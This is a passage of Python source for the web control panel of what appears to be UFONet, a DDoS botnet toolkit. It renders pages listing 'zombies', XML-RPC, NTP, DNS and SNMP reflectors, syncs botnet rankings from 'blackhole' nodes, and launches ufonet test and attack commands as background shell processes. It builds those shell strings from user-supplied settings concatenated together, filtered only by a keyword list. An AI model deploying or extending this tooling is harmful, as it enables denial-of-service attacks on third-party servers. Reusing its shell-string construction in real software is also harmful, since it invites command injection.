  3607. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3608. }
  3609. function Board() {
  3610. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3611. }
  3612. function Links() {
  3613. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3614. }
  3615. function Streams() {
  3616. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3617. }
  3618. function Sync_ranking(){
  3619. ranking_source=document.getElementById("ranking_source").value
  3620. if(ranking_source == "") {
  3621. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  3622. return
  3623. }else{
  3624. params="ranking_source="+escape(ranking_source)
  3625. runCommandX("cmd_refresh_ranking",params)
  3626. document.getElementById("nb1").style.display = "none";
  3627. document.getElementById("nb1").style.display = "block";
  3628. setTimeout("location.reload()", 10000)
  3629. }
  3630. }
  3631. </script></head>
  3632. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3633. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3634. <center>
  3635. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  3636. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  3637. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button><br><br><button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  3638. </tr></table>
  3639. <table cellpadding="5" cellspacing="10">
  3640. <tr>
  3641. <td align="center">
  3642. Your ranking is: <b>""" + str(self.ranking) + """</b>
  3643. </td>
  3644. </tr>
  3645. <tr>
  3646. <td>
  3647. <table border="1" cellpadding="10" cellspacing="10">
  3648. <tr>
  3649. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  3650. <tr>
  3651. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  3652. <tr>
  3653. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  3654. <tr>
  3655. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  3656. <tr>
  3657. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  3658. <tr>
  3659. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  3660. <tr>
  3661. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  3662. </table>
  3663. </td>
  3664. </tr></table>
  3665. <br>
  3666. <table cellpadding="5" cellspacing="10">
  3667. <tr>
  3668. <td>Blackhole/IP:</td>
  3669. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  3670. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  3671. </tr></table>
  3672. <br>
  3673. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  3674. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  3675. <div id="cmdOut"></div>
  3676. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  3677. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  3678. <td>
  3679. </td><td>
  3680. <table border="1" cellpadding="5" cellspacing="10">
  3681. <tr>
  3682. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  3683. <tr>
  3684. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  3685. <tr>
  3686. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  3687. <tr>
  3688. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  3689. <tr>
  3690. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  3691. <tr>
  3692. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  3693. <tr>
  3694. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  3695. </table>
  3696. </td><td>
  3697. <table border="1" cellpadding="5" cellspacing="10">
  3698. <tr>
  3699. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  3700. <tr>
  3701. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  3702. <tr>
  3703. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  3704. <tr>
  3705. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  3706. <tr>
  3707. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  3708. <tr>
  3709. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  3710. </table>
  3711. </td><td>
  3712. <table border="1" cellpadding="5" cellspacing="10">
  3713. <tr>
  3714. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  3715. <tr>
  3716. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  3717. <tr>
  3718. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  3719. <tr>
  3720. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  3721. </table>
  3722. </td><td>
  3723. <table border="1" cellpadding="5" cellspacing="10">
  3724. <tr>
  3725. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  3726. <tr>
  3727. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  3728. </table>
  3729. </td>
  3730. </tr></table>
  3731. </center>
  3732. <hr>
  3733. """ + self.pages["/footer"]
  3734. self.pages["/lib.js"] = """function loadXMLDoc() {
  3735. var xmlhttp;
  3736. if (window.XMLHttpRequest) {
  3737. // code for IE7+, Firefox, Chrome, Opera, Safari
  3738. xmlhttp = new XMLHttpRequest();
  3739. } else {
  3740. // code for IE6, IE5
  3741. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3742. }
  3743. xmlhttp.onreadystatechange = function() {
  3744. if (xmlhttp.readyState == 4 ) {
  3745. if(xmlhttp.status == 200){
  3746. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3747. setTimeout("loadXMLDoc()", 3000);
  3748. }
  3749. }
  3750. }
  3751. xmlhttp.send();
  3752. }
  3753. function runCommandX(cmd,params) {
  3754. var xmlhttp;
  3755. if (window.XMLHttpRequest) {
  3756. // code for IE7+, Firefox, Chrome, Opera, Safari
  3757. xmlhttp = new XMLHttpRequest();
  3758. } else {
  3759. // code for IE6, IE5
  3760. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3761. }
  3762. xmlhttp.onreadystatechange = function() {
  3763. if (xmlhttp.readyState == 4 ) {
  3764. if(xmlhttp.status == 200){
  3765. if(cmd.indexOf("?")!=-1){
  3766. s=cmd.split("?")
  3767. cmd=s[0]
  3768. params=s[1]
  3769. }
  3770. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3771. //document.getElementById("cmdOut").scrollIntoView();
  3772. newcmd=cmd
  3773. if(newcmd=="cmd_list_army"||newcmd=="cmd_list_nodes"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"||newcmd=="cmd_view_changelog"){ //do not refresh listing army
  3774. return;
  3775. } else {
  3776. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_tv" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_sync_links" || newcmd=="cmd_sync_globalnet" || newcmd=="cmd_sync_streams" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_transfer_link" || newcmd=="cmd_transfer_globalnet" || newcmd=="cmd_transfer_stream" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_decrypt_links" || newcmd=="cmd_decrypt_globalnet" || newcmd=="cmd_decrypt_streams" || newcmd=="cmd_decrypt_tv" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_download_botnet_ip" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_link_filter" || newcmd=="cmd_globalnet_filter" || newcmd=="cmd_stream_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  3777. //do not refresh if certain text on response is found
  3778. if(newcmd.match(/update/) &&
  3779. (
  3780. xmlhttp.responseText.match(/Generating random exit/) ||
  3781. xmlhttp.responseText.match(/Biggest File/) ||
  3782. xmlhttp.responseText.match(/Abduction finished/) ||
  3783. xmlhttp.responseText.match(/Not any zombie active/) ||
  3784. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  3785. xmlhttp.responseText.match(/Unable to connect to target/) ||
  3786. xmlhttp.responseText.match(/Something wrong/) ||
  3787. xmlhttp.responseText.match(/Target url not valid/) ||
  3788. xmlhttp.responseText.match(/updated/) ||
  3789. xmlhttp.responseText.match(/For HELP use:/) ||
  3790. xmlhttp.responseText.match(/Not any .git repository found/) ||
  3791. xmlhttp.responseText.match(/End of /) ||
  3792. xmlhttp.responseText.match(/Exiting /) ||
  3793. xmlhttp.responseText.match(/Bye/)
  3794. )
  3795. ) return;
  3796. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  3797. return;}
  3798. }
  3799. }
  3800. }
  3801. if(typeof params != "undefined") cmd=cmd+"?"+params
  3802. xmlhttp.open("GET", cmd, true);
  3803. xmlhttp.send();
  3804. }
  3805. """
  3806. self.pages["/requests"] = self.html_requests()
  3807. self.pages["/board_profile"] = self.html_board_profile()
  3808. self.pages["/grid_profile"] = self.html_grid_profile()
  3809. def buildGetParams(self, request):
  3810. params = {}
  3811. try:
  3812. path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3813. except:
  3814. path = re.findall("^GET ([^\s]+)", request)
  3815. if path:
  3816. path = path[0]
  3817. start = path.find("?")
  3818. if start != -1:
  3819. if path[start+1:start+7] == "zombie":
  3820. params['zombie']=path[start+8:]
  3821. return params
  3822. if path[start+1:start+7] == "target":
  3823. params['target']=path[start+8:]
  3824. return params
  3825. for param in path[start+1:].split("&"):
  3826. f = param.split("=")
  3827. if len(f) == 2:
  3828. var = f[0]
  3829. value = f[1]
  3830. value = value.replace("+", " ") # quoted space
  3831. value = urllib.parse.unquote(value)
  3832. for key in badkeys: # sanitize user-input badkeys
  3833. if key in value:
  3834. value = value.replace(key, " ")
  3835. params[var] = value
  3836. return params
  3837. def save_profile(self,pGet):
  3838. # set values for profile configuration from html form to json file
  3839. if "profile_token" in list(pGet.keys()):
  3840. profile_token = pGet["profile_token"]
  3841. else:
  3842. profile_token = self.profile_token
  3843. if "profile_icon" in list(pGet.keys()):
  3844. profile_icon = pGet["profile_icon"]
  3845. else:
  3846. profile_icon = self.profile_icon
  3847. if "profile_nick" in list(pGet.keys()):
  3848. profile_nick = pGet["profile_nick"]
  3849. else:
  3850. profile_nick = self.profile_nick
  3851. # set new values on boardcfg json file
  3852. with open(self.mothership_boardcfg_file, "w") as f:
  3853. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  3854. def save_grid(self,pGet):
  3855. # set values for profile configuration from html form to json file
  3856. if "grid_token" in list(pGet.keys()):
  3857. grid_token = pGet["grid_token"]
  3858. else:
  3859. grid_token = self.grid_token
  3860. if "grid_contact" in list(pGet.keys()):
  3861. grid_contact = pGet["grid_contact"]
  3862. else:
  3863. grid_contact = self.grid_contact
  3864. if "grid_nick" in list(pGet.keys()):
  3865. grid_nick = pGet["grid_nick"]
  3866. else:
  3867. grid_nick = self.grid_nick
  3868. # set new values on gridcfg json file
  3869. with open(self.mothership_gridcfg_file, "w") as f:
  3870. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  3871. def save_cfg(self,pGet):
  3872. # set values for requests configuration from html form to json file
  3873. if "rproxy" in list(pGet.keys()):
  3874. frm_rproxy = pGet["rproxy"]
  3875. else:
  3876. frm_rproxy = self.rproxy
  3877. if "ruseragent" in list(pGet.keys()):
  3878. frm_ruseragent = pGet["ruseragent"]
  3879. else:
  3880. frm_ruseragent = self.ruseragent
  3881. if "rreferer" in list(pGet.keys()):
  3882. frm_rreferer = pGet["rreferer"]
  3883. else:
  3884. frm_rreferer = self.rreferer
  3885. if "rhost" in list(pGet.keys()):
  3886. frm_rhost = pGet["rhost"]
  3887. else:
  3888. frm_rhost = self.rhost
  3889. if "rxforw" in list(pGet.keys()):
  3890. frm_rxforw = pGet["rxforw"]
  3891. else:
  3892. if "update" in list(pGet.keys()):
  3893. frm_rxforw = ""
  3894. else:
  3895. frm_rxforw = self.rxforw
  3896. if "rxclient" in list(pGet.keys()):
  3897. frm_rxclient = pGet["rxclient"]
  3898. else:
  3899. if "update" in list(pGet.keys()):
  3900. frm_rxclient = ""
  3901. else:
  3902. frm_rxclient = self.rxclient
  3903. if "rtimeout" in list(pGet.keys()):
  3904. frm_rtimeout = pGet["rtimeout"]
  3905. else:
  3906. frm_rtimeout = self.rtimeout
  3907. if "rretries" in list(pGet.keys()):
  3908. frm_rretries = pGet["rretries"]
  3909. else:
  3910. frm_rretries = self.rretries
  3911. if "rdelay" in list(pGet.keys()):
  3912. frm_rdelay = pGet["rdelay"]
  3913. else:
  3914. frm_rdelay = self.rdelay
  3915. if "threads" in list(pGet.keys()):
  3916. frm_threads = pGet["threads"]
  3917. else:
  3918. frm_threads = self.threads
  3919. if "rssl" in list(pGet.keys()):
  3920. frm_rssl = pGet["rssl"]
  3921. else:
  3922. if "update" in list(pGet.keys()):
  3923. frm_rssl = ""
  3924. else:
  3925. frm_rssl = self.rssl
  3926. # set new values on webcfg json file
  3927. with open(self.mothership_webcfg_file, "w") as f:
  3928. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  3929. def get(self, request):
  3930. # set request options of the user
  3931. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  3932. if self.rxforw == "on":
  3933. cmd_options = cmd_options + " --xforw"
  3934. if self.rxclient == "on":
  3935. cmd_options = cmd_options + " --xclient"
  3936. if self.rssl == "on":
  3937. cmd_options = cmd_options + " --force-ssl"
  3938. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  3939. runcmd = ""
  3940. try:
  3941. res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3942. except:
  3943. res = re.findall("^GET ([^\s]+)", request)
  3944. if res is None or len(res)==0:
  3945. return
  3946. pGet = {}
  3947. page = res[0]
  3948. paramStart = page.find("?")
  3949. if paramStart != -1:
  3950. page = page[:paramStart]
  3951. try:
  3952. pGet = self.buildGetParams(request.decode('utf-8'))
  3953. except:
  3954. pGet = self.buildGetParams(request)
  3955. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  3956. if os.path.exists("core/"+page[1:]):
  3957. try:
  3958. f=open("core/"+page[1:],'r',encoding="utf-8")
  3959. data = f.read()
  3960. self.pages[page]=data
  3961. except:
  3962. f=open("core/"+page[1:],'rb') # ajax map related
  3963. data = f.read()
  3964. self.pages[page]=data
  3965. elif page == "/js/ajax.js":
  3966. from .ajaxmap import AjaxMap
  3967. self.pages[page] = AjaxMap().ajax(pGet)
  3968. if page == "/cmd_check_tool":
  3969. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  3970. runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
  3971. if page == "/cmd_check_tool_update":
  3972. if not os.path.exists('/tmp/out'):
  3973. open('/tmp/out', 'w').close()
  3974. with open('/tmp/out', 'r') as f:
  3975. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  3976. if page == "/cmd_view_changelog":
  3977. f = open("docs/VERSION", "r")
  3978. changelog = f.read()
  3979. f.close()
  3980. self.pages["/cmd_view_changelog"] = "</center><pre>"+str(changelog)+"<br /><br/>"
  3981. if page == "/cmd_list_army":
  3982. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td><td>NTPs:</td><td>"+self.num_ntps+"</td></tr><tr><td>DNSs:</td><td>"+self.num_dnss+"</td><td>SNMPs:</td><td>"+self.num_snmps+"</td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  3983. if page == "/cmd_list_nodes":
  3984. self.dec_list_blackholes = []
  3985. self.decrypted_blackholes = []
  3986. for blackholes_text in self.list_blackholes:
  3987. self.decrypt(crypto_key, blackholes_text)
  3988. if self.decryptedtext:
  3989. self.dec_list_blackholes.append(self.decryptedtext)
  3990. self.decryptedtext = "" # clean decryptedtext buffer
  3991. num_blackholes = 0 # blackholes nodes counter
  3992. for b in self.dec_list_blackholes:
  3993. num_blackholes = num_blackholes + 1
  3994. s = b.rsplit(blackhole_sep, 1)[0]
  3995. ip_b = str(s.rsplit(blackhole_sep, 1)[0].rsplit(":", 1)[1])
  3996. self.decrypted_blackholes.append(ip_b)
  3997. self.decrypted_globalnet = []
  3998. with open(self.globalnet_file) as f:
  3999. ls = f.read().splitlines()
  4000. f.close()
  4001. num_globalnet = 0 # globalnet nodes counter
  4002. for j in ls:
  4003. if globalnet_msg_sep in j:
  4004. m = j.split(globalnet_msg_sep)
  4005. globalnet_ip = m[3] # ip
  4006. self.decrypt(crypto_key, globalnet_ip)
  4007. if self.decryptedtext:
  4008. num_globalnet = num_globalnet + 1
  4009. ip_g = self.decryptedtext
  4010. self.decrypted_globalnet.append(ip_g)
  4011. self.decryptedtext = "" # clean decryptedtext buffer
  4012. if num_blackholes == 0:
  4013. ip_b = "-"
  4014. if num_globalnet == 0:
  4015. ip_g = "-"
  4016. total_nodes = str(num_blackholes + num_globalnet)
  4017. self.pages["/cmd_list_nodes"] = "<pre><h1>Total Nodes = "+str(total_nodes)+"</h1><br /><div id='infovis'></div><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u><a href='/radar' target='_blank'>GLOBAL.RADAR:</u></a> <b>"+str(num_globalnet)+"</b></td><td><h3><u><a href='/blackholes' target='_blank'>SHIP.WARPS:</u></a> <b>"+str(num_blackholes)+"</b></td></tr><tr><td></h3>"+'\n'.join(self.decrypted_globalnet)+"</td><td></h3>"+'\n'.join(self.decrypted_blackholes)+"</td></tr></table><br /><br/>"
  4018. if page == "/cmd_list_zombies":
  4019. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  4020. if page == "/cmd_list_aliens":
  4021. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  4022. if page == "/cmd_list_droids":
  4023. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  4024. if page == "/cmd_list_ucavs":
  4025. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  4026. if page == "/cmd_list_rpcs":
  4027. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  4028. if page == "/cmd_list_ntps":
  4029. self.pages["/cmd_list_ntps"] = "<pre><h1>Total NTPs = "+self.num_ntps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><br/>"
  4030. if page == "/cmd_list_dnss":
  4031. self.pages["/cmd_list_dnss"] = "<pre><h1>Total DNSs = "+self.num_dnss+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><br/>"
  4032. if page == "/cmd_list_snmps":
  4033. self.pages["/cmd_list_snmps"] = "<pre><h1>Total SNMPs = "+self.num_snmps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  4034. if page == "/cmd_view_army":
  4035. if pGet=={}:
  4036. self.pages["/cmd_view_army"] = self.html_army_map()
  4037. if page == "/cmd_view_attack":
  4038. if 'target' in list(pGet.keys()) != None:
  4039. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  4040. if page == "/cmd_test_army":
  4041. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  4042. runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  4043. if page == "/cmd_test_all":
  4044. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  4045. runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  4046. if page == "/cmd_test_offline":
  4047. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  4048. runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  4049. if page == "/cmd_attack_me":
  4050. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  4051. runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  4052. if page == "/cmd_attack_me_update":
  4053. if not os.path.exists('/tmp/out'):
  4054. open('/tmp/out', 'w').close()
  4055. with open('/tmp/out', 'r') as f:
  4056. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  4057. if page == "/cmd_download_community":
  4058. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
